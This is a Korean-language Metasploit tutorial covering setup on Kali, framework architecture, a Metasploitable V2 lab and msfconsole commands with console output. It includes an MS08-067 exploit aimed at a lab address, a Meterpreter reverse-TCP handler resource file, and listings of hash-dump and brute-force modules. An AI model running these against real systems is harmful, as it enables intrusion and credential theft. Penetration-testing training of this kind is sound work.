Creating databases 'msf' and 'msf_test'
Creating configuration file in /usr/share/metasploit-framework/config/database.yml
Creating initial database schema


# cat /usr/share/metasploit-framework/config/database.yml

development:
  adapter: postgresql
  database: msf
  username: msf
  password: Yb/xisj5lfc22lmvFXawKj70B5RaY3/ubSZN5HbB2Qk=
  host: localhost
  port: 5432
  pool: 5
  timeout: 5

production:
  adapter: postgresql
  database: msf
  username: msf
  password: Yb/xisj5lfc22lmvFXawKj70B5RaY3/ubSZN5HbB2Qk=
  host: localhost
  port: 5432
  pool: 5
  timeout: 5

test:
  adapter: postgresql
  database: msf_test
  username: msf
  password: Yb/xisj5lfc22lmvFXawKj70B5RaY3/ubSZN5HbB2Qk=
  host: localhost
  port: 5432
  pool: 5
  timeout: 5


# service postgresql start
# service postgresql status

● postgresql.service - PostgreSQL RDBMS
   Loaded: loaded (/lib/systemd/system/postgresql.service; disabled)
   Active: active (exited) since 일 2016-01-03 14:41:41 KST; 1min 19s ago
  Process: 1733 ExecStart=/bin/true (code=exited, status=0/SUCCESS)
 Main PID: 1733 (code=exited, status=0/SUCCESS)

   
    [참고] PostgreSQL 동작중인지 확인하는 방법
    (ㄱ) service 명령어를 통해 확인하는 방법
        # service postgresql status
    (ㄴ) PostgreSQL 리스너 포트를 확인하는 방법
        # netstat -an | grep :5432
    (ㄷ) MSF와 PostgreSQL이 연결 되었는지 확인하는 방법
        # msfconsole
        msf> db_status

# msfconsole

                                                 
     ,           ,
    /             \
   ((__---,,,---__))
      (_) O O (_)_________
         \ _ /            |\
          o_o \   M S F   | \
               \   _____  |  *
                |||   WW|||
                |||     |||


Trouble managing data? List, sort, group, tag and search your pentest data
in Metasploit Pro -- learn more on http://rapid7.com/metasploit

       =[ metasploit v4.11.4-2015102101                   ]
+ -- --=[ 1496 exploits - 862 auxiliary - 251 post        ]
+ -- --=[ 432 payloads - 37 encoders - 8 nops             ]
+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]

msf > db_status
[*] postgresql connected to msf
msf >


# update-rc.d postgresql enable
#
-> 위의 명령어는 필요에 따라서 수행한다.(반드시 필요하지는 않는다.)

3. 메타스플로잇 구성 요소
 



http://www.offensive-security.com/metasploit-unleashed/Metasploit_Architecture

[그림] MSF 아키텍쳐

(1) 라이브러리(Libraries) 종류

메타스플로잇은 프레임워크의 주요 기능을 구현하기 위해 다양한 라이브러리를 사용한다. 이런 라이브러리는 사전 작업, 정의된 업무, 공격 기술, 함수의 집합으로, 프레임워크의 많은 모듈에서 활용된다.

■ Rex(Ruby EXtension)
● The basic library for most tasks
● Handles sockets, protocols, text transformations, and others
● SSL, SMB, HTTP, XOR, Base64, Unicode

루비확장(Rex, Ruby Extension) 라이브러리는 메타스플로잇의 필수다. Rex의 일부 컴포넌트는 클라이언트와 서버 프로토콜을 구현한 소켓 시스템, 로깅 시스템, 공격에 활용되는 클래스 등 많은 유용한 클래스를 포함하고 있다. Rex 자체는 루비에서 기본적으로 설치되는 것과 달리 의존적이지 않게 설계되었다.

■ Msf::Core
● Provides the 'basic' API
● Defines the Metasploit Framework

■ Msf::Base
● Provides the 'friendly' API
● Provides simplified APIs for use in the Framework


(2) 모듈(Modules) 종류

■ Exploits
● Defined as modules that use payloads
● An exploit without a payload is an Auxiliary module

■ Payloads, Encoders, Nops
● Payloads consist of code that runs remotely
● Encoders ensure that payloads make it to their destination
● Nops keep the payload sizes consistent.




(2-1) 중요 모듈에 대한 설명

■ MSFpaylocad
● 다른 프래임워크의 많은 익스플로잇과 실행가능한 파일, 쉘코드등을 만들 수 있게 도와준다.
● 쉘코드는 C, 루비(Ruby), 자바스크립트(JavaScript), 비주얼베이직(Visual Baic)등으로 만들수 있다.예) 파이썬(Python) 기반의 프로그램 검증이 필요하면 C 스타일로 작성하면 좋다.예) 브라우저 익스플로잇을 만들려면 자바스크립트 형식으로 만들면 좋다.
● 보통 명령어 수행시 도움말을 보고 싶다면 # msfpayload -h 수행하면 된다.
● 또는 msfcli 명령어의 옵션을 자세히 보고 싶다면 명령의 마지막 부분에 '0'이라고 입력하면 된다.# msfpayload windows/shell_reverse_tcp 0

■ MSFencode
● 메타스플로잇 개발자들은 인코딩을 통해 안티바이러스나 IDS등, bad characters를 회피할 수 있게 해준다.(예) @ cleartext           : 표시할 때 설명이 필요 없는 텍스트, 즉 암호화 되지 않음 평문
● 보통 명령어 수행시 도움말을 보고 싶다면# msfencode -h

■ Auxiliary(조력자, 보조)
● 익스플로잇의 집합체(엄밀히 말해서 auxiliary는 익스플로잇이 포함되어 있지 않다.)이다.
● 18가지 정도로 분류되어 있다.


(3) 인터페이스의 종류

■ msfconsole
● 가장 유연하고, 풍부한 문자와 지원이 잘되는 도구하는 이유로 메타스플로잇 프레임워크 가운데 가장 많이 이용하고 있다.
● msfconsole을 이용하여 공격을 수행하고, 보조 모듈을 로딩하며, enumeration 실행, 리스너 생성, 또는 전체 네트워크에 대해 방대한 공격을 수행할 수 있다.

■ msfcli
● msfconsole과 msfcli 차이점(대화형 모드  ) msfconsole(비대화형 모드) msfcli
● 콘솔 기반 도구를 가지고 스크립트에 기초한것이다. 즉, 프레임워크에 각 인터프리터를 제공하지 않고, 커맨드라인 인터페이스에서 직접 실행된 다른 도구에서 나온 결과를 msfcli에 다시 전달하고, msfcli의 결과를 다른 커맨드라인 도구에 전달한다.
● 또한 msfcli는 공격과 보조 모듈을 실행할 수 있으며, 프레임워크에서 모듈과 개발된 새로운 공격 코드를 테스트할 때 훨씬 편리하다.

■ msfgui
● 라파엘 머지(Raphael Mudge)가 개발한 완벽한 대화형 GUI 인터페이스이다.
● 쉽고, 기능이 많으며, 무료로 사용할 수 있다.

■ msfweb
● 메타스플로잇 웹 인터페이스이다.





(실습을 위한 선수 작업)

● 선수 작업1 : Metasploitable V2 Linux 서버 구축 및 설정
● 선수 작업2 : VMware Tools 설치에 대해서

------------------------ 선수 작업1 ----------------------------
Metasploitable V2 Linux 서버 구축 및 설정

(Metasploitable V2 Linux 정보 확인)
로그인: msfadmin/msfadmin
$ ifconfig
$ netstat -nr
$ cat /etc/resolv.conf

$ uname -a
$ cat /etc/lsb-release (# ls /etc/*release)

VMware > Edit > - VMware > Edit >  Virtual Network Editor > VMnet8(NAT) >         [ V ] Use local DHCP service to distribute IP address to VMsMetasploitable Linux 네트워크 정보(주의) eth0 반드시 NAT로 변경(Host only -> NAT)    IP: 192.168.10.134/24    (DHCP 서버로 부터 받은 IP)    defaultrouter: 192.168.10.2    DNS Server : 192.168.10.2/168.126.63.1

    (네트워크 작업 과정)
    $ sudo vi /etc/network/interfaces
    ------------------------------------
    [수정전]
    auto eth0
    iface eth0 inet dhcp
    [수정후]
    auto eth0
    iface eth0 inet static
        address 192.168.10.134
        network 192.168.10.0
        netmask 255.255.255.0
        gateway 192.168.10.2
        broadcast 192.168.10.255
    ------------------------------------
    $ sudo ifdown eth0
    $ sudo ifup eth0
    $ ifconfig eth0
------------------------ 선수 작업1 ----------------------------

------------------------ 선수 작업2 ----------------------------
[참고] VMware Tools 설치에 대해서
As of Sept 2015, VMware recommends using the distribution-specific open-vm-tools instead of the VMware Tools package for guest machines. To install open-vm-tools in Kali, enter the following:

# apt-get update
# apt-get install open-vm-tools-desktop fuse
# reboot
------------------------ 선수 작업2 ----------------------------



[실습] 메타스포잇 프레임워크(metasploit framework) 관련 디렉토리 및 파일 정보 확인

■ 사용시스템
- KaliLinux

① 메타스포잇 프로레임워크 디렉토리 구조 확인
# cd /usr/share/metasploit-framework/
# ls

Gemfile       metasploit-framework-db.gemspec    msfdb        msfvenom
Gemfile.lock  metasploit-framework-full.gemspec  msfelfscan   plugins
Rakefile      metasploit-framework-pcap.gemspec  msfmachscan  ruby
app           metasploit-framework.gemspec       msfpescan    scripts
config        modules                            msfrop       tools
data          msfbinscan                         msfrpc       vendor
db            msfconsole                         msfrpcd
lib           msfd                               msfupdate


    [참고] 디렉토리 구조(Metasploit Filesystem)
    -----------------------------------------------------------
    data:         editable files used by Metasploit
    documnentation:    provides documentation for the framework
    external:    source code and third-party libraries
    lib:         the 'meat' of the framework code base
    modules:     the actual MSF modules
    plugins:     plugins that can be loaded at run-time
    scripts:     Meterpreter and other scripts
    tools:         various useful command-line utilities
    -----------------------------------------------------------

② 모듈 디렉토리 목록 확인
# cd modules
# ls

auxiliary/  encoders/  exploits/  nops/  payloads/  post/


    [참고] 각 모듈에 대한 설명
    ----------------------------------------------------------------------------
    Exploits        Defined as modules that use payloads
    Auxiliary    An exploit without a payload is an Auxiliary module
    Payloads     Payloads consist of code that runs remotely
    Encoders        Encoders ensure that payloads make it to their destination
    Nops        Nops keep the payload sizes consistent.
    ----------------------------------------------------------------------------

③ auxiliary 모듈 디렉토리 목록 확인
# cd auxiliary
# ls

admin    bnat    crawler  dos      gather  pdf      server   spoof  voip
analyze  client  docx     fuzzers  parser  scanner  sniffer  sqli   vsploit




④ msfconsole 사용법 읽히기

■ msfconsole 간단한 사용법 읽히기

# msfconsole -h

Usage: msfconsole [options]

Common options
    -E, --environment ENVIRONMENT    The Rails environment. Will use RAIL_ENV environment variable if that is set.  Defaults to production if neither option not RAILS_ENV environment variable is set.

Database options
    -M, --migration-path DIRECTORY   Specify a directory containing additional DB migrations
    -n, --no-database                Disable database support
    -y, --yaml PATH                  Specify a YAML file containing database settings

Framework options
    -c FILE                          Load the specified configuration file
    -v, --version                    Show version

Module options
        --defer-module-loads         Defer module loading unless explicitly asked.
    -m, --module-path DIRECTORY      An additional module path


Console options:
    -a, --ask                        Ask before exiting Metasploit or accept 'exit -y'
    -d, --defanged                   Execute the console as defanged
    -L, --real-readline              Use the system Readline library instead of RbReadline
    -o, --output FILE                Output to the specified file
    -p, --plugin PLUGIN              Load a plugin on startup
    -q, --quiet                      Do not print the banner on startup
    -r, --resource FILE              Execute the specified resource file (- for stdin)
    -x, --execute-command COMMAND    Execute the specified string as console commands (use ; for multiples)
    -h, --help                       Show this message


# msfconsole -v

Framework Version: 4.11.5-2016010401


# msfconsole

     ,           ,
    /             \
   ((__---,,,---__))
      (_) O O (_)_________
         \ _ /            |\
          o_o \   M S F   | \
               \   _____  |  *
                |||   WW|||
                |||     |||


Validate lots of vulnerabilities to demonstrate exposure
with Metasploit Pro -- Learn more on http://rapid7.com/metasploit

       =[ metasploit v4.11.5-2016010401                   ]
+ -- --=[ 1517 exploits - 875 auxiliary - 257 post        ]
+ -- --=[ 437 payloads - 37 encoders - 8 nops             ]
+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]

msf > quit


# msfconsole -q

msf > quit


# msfconsole

# cowsay++
 ____________
< metasploit >
 ------------
       \   ,__,
        \  (oo)____
           (__)    )\
              ||--|| *


Save 45% of your time on large engagements with Metasploit Pro
Learn more on http://rapid7.com/metasploit

       =[ metasploit v4.11.5-2016010401                   ]
+ -- --=[ 1517 exploits - 875 auxiliary - 257 post        ]
+ -- --=[ 437 payloads - 37 encoders - 8 nops             ]
+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]

msf > help

Core Commands
=============

    Command       Description
    -------       -----------
    ?             Help menu
    advanced      Displays advanced options for one or more modules
    back          Move back from the current context
    banner        Display an awesome metasploit banner
    cd            Change the current working directory
    color         Toggle color
    connect       Communicate with a host
    edit          Edit the current module with $VISUAL or $EDITOR
    exit          Exit the console
    get           Gets the value of a context-specific variable
    getg          Gets the value of a global variable
    grep          Grep the output of another command
    help          Help menu
    info          Displays information about one or more modules
    irb           Drop into irb scripting mode
    jobs          Displays and manages jobs
    kill          Kill a job
    load          Load a framework plugin
    loadpath      Searches for and loads modules from a path
    makerc        Save commands entered since start to a file
    options       Displays global options or for one or more modules
    popm          Pops the latest module off the stack and makes it active
    previous      Sets the previously loaded module as the current module
    pushm         Pushes the active or list of modules onto the module stack
    quit          Exit the console
    reload_all    Reloads all modules from all defined module paths
    rename_job    Rename a job
    resource      Run the commands stored in a file
    route         Route traffic through a session
    save          Saves the active datastores
    search        Searches module names and descriptions
    sessions      Dump session listings and display information about sessions
    set           Sets a context-specific variable to a value
    setg          Sets a global variable to a value
    show          Displays modules of a given type, or all modules
    sleep         Do nothing for the specified number of seconds
    spool         Write console output into a file as well the screen
    threads       View and manipulate background threads
    unload        Unload a framework plugin
    unset         Unsets one or more context-specific variables
    unsetg        Unsets one or more global variables
    use           Selects a module by name
    version       Show the framework and console library version numbers


Database Backend Commands
=========================

    Command           Description
    -------           -----------
    creds             List all credentials in the database
    db_connect        Connect to an existing database
    db_disconnect     Disconnect from the current database instance
    db_export         Export a file containing the contents of the database
    db_import         Import a scan result file (filetype will be auto-detected)
    db_nmap           Executes nmap and records the output automatically
    db_rebuild_cache  Rebuilds the database-stored module cache
    db_status         Show the current database status
    hosts             List all hosts in the database
    loot              List all loot in the database
    notes             List all notes in the database
    services          List all services in the database
    vulns             List all vulnerabilities in the database
    workspace         Switch between database workspaces

msf > help info
Usage: info <module name> [mod2 mod3 ...]

Optionally the flag '-j' will print the data in json format
Queries the supplied module or modules for information. If no module is given,
show info for the currently active module.

msf > help search
Usage: search [keywords]

Keywords:
  app       :  Modules that are client or server attacks
  author    :  Modules written by this author
  bid       :  Modules with a matching Bugtraq ID
  cve       :  Modules with a matching CVE ID
  edb       :  Modules with a matching Exploit-DB ID
  name      :  Modules with a matching descriptive name
  osvdb     :  Modules with a matching OSVDB ID
  platform  :  Modules affecting this platform
  ref       :  Modules with a matching ref
  type      :  Modules of a specific type (exploit, auxiliary, or post)

Examples:
  search cve:2009 type:exploit app:client

msf > help show
[*] Valid parameters for the "show" command are: all, encoders, nops, exploits, payloads, auxiliary, plugins, info, options
[*] Additional module-specific parameters are: missing, advanced, evasion, targets, actions
msf >

msf > show -h        /* 어떤 명령어들은 뒤에 -h 옵션을 붙여야 하는 경우도 있다. */
[*] Valid parameters for the "show" command are: all, encoders, nops, exploits, payloads, auxiliary, plugins, info, options
[*] Additional module-specific parameters are: missing, advanced, evasion, targets, actions

msf > show auxiliary

Auxiliary
=========

   Name                                            Disclosure Date  Rank    Description
   ----                                            ---------------  ----    -----------
   admin/2wire/xslt_password_reset               2007-08-15       normal  2Wire Cross-Site Request Forgery Password Reset Vulnerability
   admin/backupexec/dump                                          normal  Veritas Backup Exec Windows Remote File Access
   admin/backupexec/registry                                      normal  Veritas Backup Exec Server Registry Access
   admin/cisco/cisco_secure_acs_bypass                            normal  Cisco Secure ACS Unauthorized Password Change
   admin/cisco/vpn_3000_ftp_bypass               2006-08-23       normal  Cisco VPN Concentrator 3000 FTP Unauthorized Administrative Access
..... (중략) .....

msf > s[TAB][TAB]
save      search    services  sessions  set       setg      show      sleep     spool

msf > show a[TAB][TAB]
show all        show auxiliary

msf > show aux[TAB]        /* [TAB] 사용 가능하다. - 명령어 자동 완성 */
..... (중략) .....

msf > clear

msf > <↑><↑><↑><↑><↓><↓><↓><↓>

msf > quit





■ mfsconsole core command 사용법 읽히기

# msfconsole -q

■ back 명령어

Once you have finished working with a particular module, or if you inadvertently select the wrong module, you can issue the ‘back’ command to move out of the current context. This, however is not required. Just as you can in commercial routers, you can switch modules from within other modules. As a reminder, variables will only carry over if they are set globally.


msf > help back
Usage: back

Return to the global dispatcher context

msf > show auxiliary
..... (중략) .....
msf > use vsploit/pii/web_pii
msf auxiliary(web_pii) > back
msf >



■ banner 명령어

Simply displays a randomly selected banner


msf > help banner
Usage: banner

Print a stunning ascii art banner along with version information and module counts

msf > banner
IIIIII    dTb.dTb        _.---._
  II     4'  v  'B   .'"".'/|\`.""'.
  II     6.     .P  :  .' / | \ `.  :
  II     'T;. .;P'  '.'  /  |  \  `.'
  II      'T; ;P'    `. /   |   \ .'
IIIIII     'YvP'       `-.__|__.-'

I love shells --egypt


Tired of typing 'set RHOSTS'? Click & pwn with Metasploit Pro
Learn more on http://rapid7.com/metasploit

       =[ metasploit v4.11.5-2016010401                   ]
+ -- --=[ 1517 exploits - 875 auxiliary - 257 post        ]
+ -- --=[ 437 payloads - 37 encoders - 8 nops             ]
+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]



■ check 명령어

There aren’t many exploits that support it, but there is also a ‘check’ option that will check to see if a target is vulnerable to a particular exploit instead of actually exploiting it.


msf > help check
[-] No such command

msf > search ms08_067_netapi

Matching Modules
================

   Name                                 Disclosure Date  Rank   Description
   ----                                 ---------------  ----   -----------
   exploit/windows/smb/ms08_067_netapi  2008-10-28       great  MS08-067 Microsoft Server Service Relative Path Stack Corruption


msf > use exploit/windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) > check
[-] Check failed: The following options failed to validate: RHOST.
msf exploit(ms08_067_netapi) > show options

Module options (exploit/windows/smb/ms08_067_netapi):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   RHOST                     yes       The target address
   RPORT    445              yes       Set the SMB service port
   SMBPIPE  BROWSER          yes       The pipe name to use (BROWSER, SRVSVC)


Exploit target:

   Id  Name
   --  ----
   0   Automatic Targeting


msf exploit(ms08_067_netapi) > set RHOST 192.168.10.134
RHOST => 192.168.10.134
msf exploit(ms08_067_netapi) > show options

Module options (exploit/windows/smb/ms08_067_netapi):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   RHOST    192.168.10.134   yes       The target address
   RPORT    445              yes       Set the SMB service port
   SMBPIPE  BROWSER          yes       The pipe name to use (BROWSER, SRVSVC)


Exploit target:

   Id  Name
   --  ----
   0   Automatic Targeting


msf exploit(ms08_067_netapi) > check
[*] 192.168.10.134:445 - The target is not exploitable.

msf exploit(ms08_067_netapi) > back
msf >



■ color 명령어

You can enable or disable if the output you get through the msfconsole will contain colors.


msf > help color
Usage: color <'true'|'false'|'auto'>

Enable or disable color output.

msf > color false
msf > banner
..... (중략) ....

msf > color auto
msf > banner
..... (중략) ....



■ edit 명령어

The edit command will edit the current module with $VISUAL or $EDITOR. By default this will open the current module in Vim.


msf > help edit
Usage: edit

Edit the currently active module with /usr/bin/vim.
When done editing, you must reload the module with 'reload' or 'rexploit'.

msf > use auxiliary/scanner/rservices/rlogin_login
msf auxiliary(rlogin_login) > edit
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Auxiliary

  include Msf::Exploit::Remote::Tcp
  include Msf::Auxiliary::Report
  include Msf::Auxiliary::AuthBrute
  include Msf::Auxiliary::RServices
  include Msf::Auxiliary::Scanner
  include Msf::Auxiliary::Login
  include Msf::Auxiliary::CommandShell

  def initialize
    super(
      'Name'        => 'rlogin Authentication Scanner',
      'Description' => %q{
          This module will test an rlogin service on a range of machines and
        report successful logins.

        NOTE: This module requires access to bind to privileged ports (below 1024).
      },
      'References' =>
:q!
msf auxiliary(rlogin_login) > back
msf >



■ exit 명령어

The exit command will simply exit msfconsole.


■ help 명령어

The help command will give you a list and small description of all available commands.



■ info 명령어

The info command will provide detailed information about a particular module including all options, targets, and other information. Be sure to always read the module description prior to using it as some may have un-desired effects.

The info command also provides the following information:

● The author and licensing information
● Vulnerability references (ie: CVE, BID, etc)
● Any payload restrictions the module may have


msf > help info
Usage: info <module name> [mod2 mod3 ...]

Optionally the flag '-j' will print the data in json format
Queries the supplied module or modules for information. If no module is given,
show info for the currently active module.

msf > search rlogin

Matching Modules
================

   Name                                           Disclosure Date  Rank       Description
   ----                                           ---------------  ----       -----------
   auxiliary/scanner/rservices/rlogin_login                        normal     rlogin Authentication Scanner
   exploit/windows/brightstor/lgserver_rxrlogin   2007-06-06       average    CA BrightStor ARCserve for Laptops and Desktops LGServer Buffer Overflow
   exploit/windows/http/solarwinds_fsm_userlogin  2015-03-13       excellent  Solarwinds Firewall Security Manager 6.6.5 Client Session Handling Vulnerability
   post/windows/gather/credentials/mremote                         normal     Windows Gather mRemote Saved Password Extraction

msf > info auxiliary/scanner/rservices/rlogin_login

       Name: rlogin Authentication Scanner
     Module: auxiliary/scanner/rservices/rlogin_login
    License: Metasploit Framework License (BSD)
       Rank: Normal

Provided by:
  jduck <jduck@metasploit.com>

Basic options:
  Name              Current Setting                                                          Required  Description
  ----              ---------------                                                          --------  -----------
  BLANK_PASSWORDS   false                                                                    no        Try blank passwords for all users
  BRUTEFORCE_SPEED  5                                                                        yes       How fast to bruteforce, from 0 to 5
  DB_ALL_CREDS      false                                                                    no        Try each user/password couple stored in the current database
  DB_ALL_PASS       false                                                                    no        Add all passwords in the current database to the list
  DB_ALL_USERS      false                                                                    no        Add all users in the current database to the list
  FROMUSER                                                                                   no        The username to login from
  FROMUSER_FILE     /usr/share/metasploit-framework/data/wordlists/rservices_from_users.txt  no        File containing from usernames, one per line
  PASSWORD                                                                                   no        A specific password to authenticate with
  PASS_FILE                                                                                  no        File containing passwords, one per line
  RHOSTS                                                                                     yes       The target address range or CIDR identifier
  RPORT             513                                                                      yes       The target port
  SPEED             9600                                                                     yes       The terminal speed desired
  STOP_ON_SUCCESS   false                                                                    yes       Stop guessing when a credential works for a host
  TERM              vt100                                                                    yes       The terminal type desired
  THREADS           1                                                                        yes       The number of concurrent threads
  USERNAME                                                                                   no        A specific username to authenticate as
  USERPASS_FILE                                                                              no        File containing users and passwords separated by space, one pair per line
  USER_AS_PASS      false                                                                    no        Try the username as the password for all users
  USER_FILE                                                                                  no        File containing usernames, one per line
  VERBOSE           true                                                                     yes       Whether to print output for all attempts

Description:
  This module will test an rlogin service on a range of machines and
  report successful logins. NOTE: This module requires access to bind
  to privileged ports (below 1024).

References:
  http://cvedetails.com/cve/1999-0651/
  http://cvedetails.com/cve/1999-0502/

msf > use auxiliary/scanner/rservices/rlogin_login
msf auxiliary(rlogin_login) > info

       Name: rlogin Authentication Scanner
     Module: auxiliary/scanner/rservices/rlogin_login
    License: Metasploit Framework License (BSD)
       Rank: Normal
..... (중략) .....

msf auxiliary(rlogin_login) > back
msf >



■ irb 명령어

Running the irb command will drop you into a live Ruby interpreter shell where you can issue commands and create Metasploit scripts on the fly. This feature is also very useful for understanding the internals of the Framework.


msf > help irb
Usage: irb

Execute commands in a Ruby environment

OPTIONS:

    -e <opt>  Expression to evaluate.
    -h        Help banner.

msf > irb
[*] Starting IRB shell...

>> puts "hello, metasploit!"
hello, metasploit!
=> nil
>> Framework::Version
=> "4.11.5-2016010401"
>> quit
msf >



■ jobs 명령어

Jobs are modules that are running in the background. The jobs command provides the ability to list and terminate these jobs.


msf > help jobs
Usage: jobs [options]

Active job manipulation and interaction.

OPTIONS:

    -K        Terminate all running jobs.
    -h        Help banner.
    -i <opt>  Lists detailed information about a running job.
    -k <opt>  Terminate jobs by job ID and/or range.
    -l        List all running jobs.
    -v        Print more detailed info.  Use with -i and -l

msf > resource /root/bin/reverse_resource.rc   /* # msfconsole -r reverse_resource.rc */
[*] Processing /root/bin/reverse_resource.rc for ERB directives.
resource (/root/bin/reverse_resource.rc)> use exploit/multi/handler
resource (/root/bin/reverse_resource.rc)> set PAYLOAD windows/x64/meterpreter/reverse_tcp
PAYLOAD => windows/x64/meterpreter/reverse_tcp
resource (/root/bin/reverse_resource.rc)> set LHOST 192.168.20.50
LHOST => 192.168.20.50
resource (/root/bin/reverse_resource.rc)> set ExitSession false
ExitSession => false
resource (/root/bin/reverse_resource.rc)> exploit -j -z
[*] Exploit running as background job.

[*] Started reverse TCP handler on 192.168.20.50:4444
msf exploit(handler) > [*] Starting the payload handler...
<ENTER>
msf exploit(handler) > jobs

Jobs
====

  Id  Name                    Payload                              LPORT
  --  ----                    -------                              -----
  0   Exploit: multi/handler  windows/x64/meterpreter/reverse_tcp  4444

msf exploit(handler) > back
msf >



■ kill 명령어

The kill command will kill any running jobs when supplied with the job id.


msf > help kill
Usage: kill <job1> [job2 ...]

Equivalent to 'jobs -k job1 -k job2 ...'

OPTIONS:

    -K        Terminate all running jobs.
    -h        Help banner.
    -i <opt>  Lists detailed information about a running job.
    -k <opt>  Terminate jobs by job ID and/or range.
    -l        List all running jobs.
    -v        Print more detailed info.  Use with -i and -l

msf > jobs

Jobs
====

  Id  Name                    Payload                              LPORT
  --  ----                    -------                              -----
  0   Exploit: multi/handler  windows/x64/meterpreter/reverse_tcp  4444

msf > kill 0
[*] Stopping the following job(s): 0
[*] Stopping job 0
msf > jobs

Jobs
====

No active jobs.



■ resource 명령어

The resource command runs resource (batch) files that can be loaded through msfconsole.


msf > help resource
Usage: resource path1 [path2 ...]

Run the commands stored in the supplied files.  Resource files may also contain
ruby code between <ruby></ruby> tags.

See also: makerc

msf > resource /root/bin/reverse_resource.rc
..... (중략) .....
<ENTER>
msf exploit(handler) > exit
# echo version > version.rc
# msfconsole -q -r version.rc
[*] Processing version.rc for ERB directives.
resource (version.rc)> version
Framework: 4.11.5-2016010401
Console  : 4.11.5-2016010401.15168
msf >



■ route 명령어

The “route” command in Metasploit allows you to route sockets through a session or ‘comm’, providing basic pivoting capabilities. To add a route, you pass the target subnet and network mask followed by the session (comm) number.


msf > help route
Usage: route [add/remove/get/flush/print] subnet netmask [comm/sid]

Route traffic destined to a given subnet through a supplied session.
The default comm is Local.

    EX) meterpreter > route
    -> 나중에 작업하게 됩니다.



■ search 명령어

The msfconsole includes an extensive regular-expression based search functionality. If you have a general idea of what you are looking for you can search for it via ‘search ‘. In the output below, a search is being made for MS Bulletin MS09-011. The search function will locate this string within the module names, descriptions, references, etc.


msf > help search
Usage: search [keywords]

Keywords:
  app       :  Modules that are client or server attacks
  author    :  Modules written by this author
  bid       :  Modules with a matching Bugtraq ID
  cve       :  Modules with a matching CVE ID
  edb       :  Modules with a matching Exploit-DB ID
  name      :  Modules with a matching descriptive name
  osvdb     :  Modules with a matching OSVDB ID
  platform  :  Modules affecting this platform
  ref       :  Modules with a matching ref
  type      :  Modules of a specific type (exploit, auxiliary, or post)

Examples:
  search cve:2009 type:exploit app:client

msf > search usermap_script

Matching Modules
================

   Name                                Disclosure Date  Rank       Description
   ----                                ---------------  ----       -----------
   exploit/multi/samba/usermap_script  2007-05-14       excellent  Samba "username map script" Command Execution

msf > search name:mysql

Matching Modules
================

   Name                                               Disclosure Date  Rank       Description
   ----                                               ---------------  ----       -----------
   auxiliary/admin/mysql/mysql_enum                                    normal     MySQL Enumeration Module
   auxiliary/admin/mysql/mysql_sql                                     normal     MySQL SQL Generic Query
   auxiliary/analyze/jtr_mysql_fast                                    normal     John the Ripper MySQL Password Cracker (Fast Mode)
   auxiliary/scanner/mysql/mysql_authbypass_hashdump  2012-06-09       normal     MySQL Authentication Bypass Password Dump
   auxiliary/scanner/mysql/mysql_file_enum                             normal     MYSQL File/Directory Enumerator
   auxiliary/scanner/mysql/mysql_hashdump                              normal     MYSQL Password Hashdump
   auxiliary/scanner/mysql/mysql_login                                 normal     MySQL Login Utility
   auxiliary/scanner/mysql/mysql_schemadump                            normal     MYSQL Schema Dump
   auxiliary/scanner/mysql/mysql_version                               normal     MySQL Server Version Enumeration
   auxiliary/server/capture/mysql                                      normal     Authentication Capture: MySQL
   exploit/linux/mysql/mysql_yassl_getname            2010-01-25       good       MySQL yaSSL CertDecoder::GetName Buffer Overflow
   exploit/linux/mysql/mysql_yassl_hello              2008-01-04       good       MySQL yaSSL SSL Hello Message Buffer Overflow
   exploit/windows/mysql/mysql_mof                    2012-12-01       excellent  Oracle MySQL for Microsoft Windows MOF Execution
   exploit/windows/mysql/mysql_payload                2009-01-16       excellent  Oracle MySQL for Microsoft Windows Payload Execution
   exploit/windows/mysql/mysql_start_up               2012-12-01       excellent  Oracle MySQL for Microsoft Windows FILE Privilege Abuse
   exploit/windows/mysql/mysql_yassl_hello            2008-01-04       average    MySQL yaSSL SSL Hello Message Buffer Overflow
   exploit/windows/mysql/scrutinizer_upload_exec      2012-07-27       excellent  Plixer Scrutinizer NetFlow and sFlow Analyzer 9 Default MySQL Credential

msf > search platform:aix

Matching Modules
================

   Name                                      Disclosure Date  Rank       Description
   ----                                      ---------------  ----       -----------
   exploit/aix/local/ibstat_path             2013-09-24       excellent  ibstat $PATH Privilege Escalation
   exploit/aix/rpc_cmsd_opcode21             2009-10-07       great      AIX Calendar Manager Service Daemon (rpc.cmsd) Opcode 21 Buffer Overflow
   exploit/aix/rpc_ttdbserverd_realpath      2009-06-17       great      ToolTalk rpc.ttdbserverd _tt_internal_realpath Buffer Overflow (AIX)
   payload/aix/ppc/shell_bind_tcp                             normal     AIX Command Shell, Bind TCP Inline
   payload/aix/ppc/shell_find_port                            normal     AIX Command Shell, Find Port Inline
   payload/aix/ppc/shell_interact                             normal     AIX execve Shell for inetd
   payload/aix/ppc/shell_reverse_tcp                          normal     AIX Command Shell, Reverse TCP Inline
   post/aix/hashdump                                          normal     AIX Gather Dump Password Hashes
   post/multi/manage/sudo                                     normal     Multiple Linux / Unix Post Sudo Upgrade Shell
   post/multi/recon/local_exploit_suggester                   normal     Multi Recon Local Exploit Suggester

msf > search type:post

Matching Modules
================

   Name                                                  Disclosure Date  Rank    Description
   ----                                                  ---------------  ----    -----------
   post/aix/hashdump                                                      normal  AIX Gather Dump Password Hashes
   post/android/capture/screen                                            normal  Android Screen Capture
   post/android/manage/remove_lock                       2013-10-11       normal  Android Settings Remove Device Locks (4.0-4.3)
   post/android/manage/remove_lock_root                                   normal  Android Root Remove Device Locks (root)
   post/cisco/gather/enum_cisco                                           normal  Cisco Gather Device General Information
..... (중략) .....


■ sessions 명령어

The ‘sessions’ command allows you to list, interact with, and kill spawned sessions. The sessions can be shells, Meterpreter sessions, VNC, etc.


msf > help sessions
Usage: sessions [options]

Active session manipulation and interaction.

OPTIONS:

    -K        Terminate all sessions
    -c <opt>  Run a command on the session given with -i, or all
    -h        Help banner
    -i <opt>  Interact with the supplied session ID
    -k <opt>  Terminate sessions by session ID and/or range
    -l        List all active sessions
    -q        Quiet mode
